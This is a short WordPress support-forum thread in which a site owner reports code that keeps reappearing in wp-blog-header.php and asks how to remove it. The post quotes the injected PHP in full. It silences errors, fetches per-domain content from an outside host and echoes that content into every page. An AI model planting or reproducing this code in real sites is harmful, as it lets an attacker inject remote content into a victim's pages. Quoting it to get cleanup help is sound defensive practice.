Support » Fixing WordPress » Hacking site wordpress

  • The following code constantly appears in the wp-blog-header.php file:

    <?php  
    error_reporting(0);
    $sname2 = $_SERVER['SERVER_NAME'];
    $sname = str_replace(array("http://","https://","www."),null,$sname2);
    $x = "http://cmd.jokerpanel.xyz/linkler/".$sname.".php";
    if(function_exists('curl_init'))
    {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $x);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
     // curl_setopt($ch,CURLOPT_USERAGENT,"");
    $gitt = curl_exec($ch);
    curl_close($ch);
    if($gitt == false){
    @$gitt = file_get_contents($x);
    }
    }elseif(function_exists('file_get_contents')){
    @$gitt = file_get_contents($x);
    }
     echo $gitt; 
    
    ?>

    How can this be fixed?

Viewing 1 replies (of 1 total)
Viewing 1 replies (of 1 total)
  • The topic ‘Hacking site wordpress’ is closed to new replies.